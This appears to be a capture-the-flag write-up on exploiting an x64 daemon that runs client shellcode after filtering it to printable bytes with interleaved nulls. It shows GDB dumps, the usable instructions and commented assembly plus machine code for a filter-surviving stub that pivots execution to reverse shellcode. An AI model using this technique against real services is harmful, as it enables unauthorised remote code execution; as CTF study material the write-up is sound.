x64 ELF is given. it's a fork-accept daemon.
Client Handler receives 4 bytes. as size of malloc buffer
size limit is 0x1000 bytes.
server receives shellcode into malloc buffer
server allocates RWX memory with double size of malloc buffer, then copies shellcode.
but, actually malloc buffer has RWX permission too.
after that malloc and mmap buffer is passed to some function(my_something).
my_something checks if buffer and length is valid, then memsets mmap buffer to zero.
and there is a loop which copies the malloc buffer contents to mmap buffer in bytes.
but the byte out of range 0x20~0x7F is not accepted. and each byte is copied with NULL.
which means, our original shellcode has to be ASCII-UNICODE proof.
after our shellcode is UNICODED, server executes it with CALL RDX;
it seemed to be impossible to write working reverse shellcode as ascii-unicode proof.
so we searched for every possible assembly instructions which we can use.
and investigated the register context / stack environment with GDB.
Breakpoint 2, 0x0000000000401226 in ?? ()
(gdb) i r
rax 0x0 0
rbx 0x0 0
rcx 0x0 0
rdx 0x7ffff7ff6000 140737354096640
rsi 0x1 1
rdi 0x0 0
rbp 0x7fffffffe060 0x7fffffffe060
rsp 0x7fffffffe020 0x7fffffffe020
r8 0x0 0
r9 0x300000 3145728
r10 0x7fffffffddc0 140737488346560
r11 0x7ffff7a959b0 140737348458928
r12 0x400f80 4198272
r13 0x7fffffffe1e0 140737488347616
r14 0x0 0
r15 0x0 0
rip 0x401226 0x401226
eflags 0x206 [ PF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb) x/10x $rsp
0x7fffffffe018: 0x00401228 0x00000000 0xffffe060 0x00007fff
0x7fffffffe028: 0x00000000 0x00000008 0x00001000 0x00000000
0x7fffffffe038: 0x00606a90 0x00000000
(gdb)
we found that there is malloc buffer pointer at [RSP+0x20].
below are some of the lists of ascii-unicode proof x64 instructions.
(plus register PUSH/POP instructions)
0x7ffff7ff6036: add %bl,(%rax,%rax,1)
0x7ffff7ff6039: sbb $0x1f001e00,%eax
0x7ffff7ff603e: add %ah,(%rax)
0x7ffff7ff6040: add %ah,(%rcx)
0x7ffff7ff6042: add %ah,(%rdx)
0x7ffff7ff6044: add %ah,(%rbx)
0x7ffff7ff6046: add %ah,(%rax,%rax,1)
0x7ffff7ff6049: and $0x27002600,%eax
0x7ffff7ff604e: add %ch,(%rax)
0x7ffff7ff6050: add %ch,(%rcx)
0x7ffff7ff6052: add %ch,(%rdx)
0x7ffff7ff6054: add %ch,(%rbx)
0x7ffff7ff6056: add %ch,(%rax,%rax,1)
0x7ffff7ff6059: sub $0x2f002e00,%eax
0x7ffff7ff605e: add %dh,(%rax)
0x7ffff7ff6060: add %al,(%rax)
0x7ffff7ff6062: add %dh,(%rcx)
0x7ffff7ff6064: add %dh,(%rdx)
0x7ffff7ff6066: add %dh,(%rbx)
0x7ffff7ff6068: add %dh,(%rax,%rax,1)
0x7ffff7ff606b: xor $0x37003600,%eax
0x7ffff7ff6070: add %bh,(%rax)
0x7ffff7ff6072: add %bh,(%rcx)
0x7ffff7ff6074: add %bh,(%rdx)
0x7ffff7ff6076: add %bh,(%rbx)
0x7ffff7ff6078: add %bh,(%rax,%rax,1)
0x7ffff7ff607b: cmp $0x3f003e00,%eax
0x7ffff7ff6080: add %al,0x0(%rax)
0x7ffff7ff6083: add %al,0x0(%r10)
0x7ffff7ff6087: add %al,0x45(%r8,%r8,1)
0x7ffff7ff608c: add %al,0x0(%rsi)
0x7ffff7ff608f: rex.RXB add %r9b,0x0(%r8)
0x7ffff7ff6093: rex.WB add %cl,0x0(%r10)
0x7ffff7ff6097: rex.WXB add %cl,0x4d(%r8,%r8,1)
0x7ffff7ff609c: add %cl,0x0(%rsi)
0x7ffff7ff609f: rex.WRXB add %r10b,0x0(%r8)
0x7ffff7ff60a3: push %rcx
0x7ffff7ff60a4: add %dl,0x0(%rdx)
0x7ffff7ff60a7: push %rbx
0x7ffff7ff60a8: add %dl,0x55(%rax,%rax,1)
0x7ffff7ff60ac: add %dl,0x0(%rsi)
0x7ffff7ff60af: push %rdi
0x7ffff7ff60b0: add %bl,0x0(%rax)
0x7ffff7ff60b3: pop %rcx
0x7ffff7ff60b4: add %bl,0x0(%rdx)
0x7ffff7ff60b7: pop %rbx
0x7ffff7ff60b8: add %bl,0x5d(%rax,%rax,1)
0x7ffff7ff60bc: add %bl,0x0(%rsi)
0x7ffff7ff60bf: pop %rdi
0x7ffff7ff60c0: add %ah,0x0(%rax)
0x7ffff7ff60c3: (bad)
0x7ffff7ff60c4: add %ah,0x0(%rdx)
0x7ffff7ff60c7: movslq (%rax),%eax
0x7ffff7ff60c9: add %ah,%fs:0x0(%rbp)
0x7ffff7ff60cd: data16
0x7ffff7ff60ce: add %ah,0x0(%rdi)
0x7ffff7ff60d1: pushq $0x6a006900
0x7ffff7ff60d6: add %ch,0x0(%rbx)
0x7ffff7ff60d9: insb (%dx),%es:(%rdi)
0x7ffff7ff60da: add %ch,0x0(%rbp)
0x7ffff7ff60dd: outsb %ds:(%rsi),(%dx)
0x7ffff7ff60de: add %ch,0x0(%rdi)
0x7ffff7ff60e1: jo 0x7ffff7ff60e3
0x7ffff7ff60e3: jno 0x7ffff7ff60e5
0x7ffff7ff60e5: jb 0x7ffff7ff60e7
0x7ffff7ff60e7: jae 0x7ffff7ff60e9
0x7ffff7ff60e9: je 0x7ffff7ff60eb
0x7ffff7ff60eb: jne 0x7ffff7ff60ed
0x7ffff7ff60ed: jbe 0x7ffff7ff60ef
0x7ffff7ff60ef: ja 0x7ffff7ff60f1
0x7ffff7ff60f1: js 0x7ffff7ff60f3
0x7ffff7ff60f3: jns 0x7ffff7ff60f5
0x7ffff7ff60f5: jp 0x7ffff7ff60f7
0x7ffff7ff60f7: jnp 0x7ffff7ff60f9
0x7ffff7ff60f9: jl 0x7ffff7ff60fb
0x7ffff7ff60fb: jge 0x7ffff7ff60fd
0x7ffff7ff60fd: jle 0x7ffff7ff60ff
0x7ffff7ff60ff: jg 0x7ffff7ff6101
to sum up, we can use register PUSH/POP instructions, we can adjust the register value by
pushing them and overwriting a byte into stack.
with some clever combination of instructions we can write the return instruction at the end of unicode shellcode.
and we were able to manage the RSP to point to normal reverse shellcode. see below.
0x7ffff7ff606b: xor $0x37003600,%eax
0x7ffff7ff6070: add %bh,(%rax)
we can't XOR an arbitrary constant to a register but we can XOR a constant which contains zero at second, fourth byte. and we can also add ah, bh, ch, dh...(second bytes) register to a memory location pointed with RAX.
we exploit the fact that
1. we can put return instruction at the end of unicode shellcode.
2. we can adjust ESP to point start of reverse shellcode.
it's complex. but the following describes this scenario.
# set return opcode into bh
xor $0x20002000, %eax # EAX: 20002000
sub $0x30003000, %eax # EAX: EFFFF000
xor $0x33003300, %eax # EAX: DCFFC300
push %rax
pop %rbx # EBX: DCFFC300. BH has value C3(ret)
# set RDX shellcode + X
push %rdx
pop %rax # get address of shellcode
push %rax # push the address of shellcode
push %rsp # push the address of address of shellcode
pop %rax # set RAX the address of address of shellcode
add %bh, (%rax) # add(increase) shellcode address 0xC3(mmap buffer is page aligned)
pop %rdx # set RDX shellcode + 0xC3
# insert ret instruction at shellcode+C3
add %bh, (%rdx)
# get malloc buffer address to RAX
pop %rax
pop %rax
pop %rax
pop %rax
pop %rax # now RAX has malloc buffer address.
# set RAX to RSP
push %rax
pop %rsp
# increase RSP enough to skip the unicode shellcode part. and push RSP to stack.
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
pop %rcx
push %rsp
# set RAX a valid address for unicode shell NOP sled.
push %rbp
pop %rax
# everything set. wait for return!!
we extracted the machine codes with GDB
Dump of assembler code for function main:
0x0000000000401110 <+0>: 35 00 20 00 20 xor $0x20002000,%eax
0x0000000000401120 <+16>: 00 6d 00 add %ch,0x0(%rbp)
0x0000000000401115 <+5>: 2d 00 30 00 30 sub $0x30003000,%eax
0x0000000000401120 <+16>: 00 6d 00 add %ch,0x0(%rbp)
0x000000000040111a <+10>: 35 00 33 00 33 xor $0x33003300,%eax
0x0000000000401120 <+16>: 00 6d 00 add %ch,0x0(%rbp)
0x000000000040111f <+15>: 50 push %rax
0x0000000000401120 <+16>: 00 6d 00 add %ch,0x0(%rbp)
0x0000000000401123 <+19>: 5b pop %rbx
0x0000000000401124 <+20>: 00 6d 00 add %ch,0x0(%rbp)
0x0000000000401127 <+23>: 52 push %rdx
0x0000000000401128 <+24>: 00 6d 00 add %ch,0x0(%rbp)
0x000000000040112b <+27>: 58 pop %rax
0x000000000040112c <+28>: 00 6d 00 add %ch,0x0(%rbp)
0x000000000040112f <+31>: 50 push %rax
...
this is final exploit.
after doing some debugging, it was successful.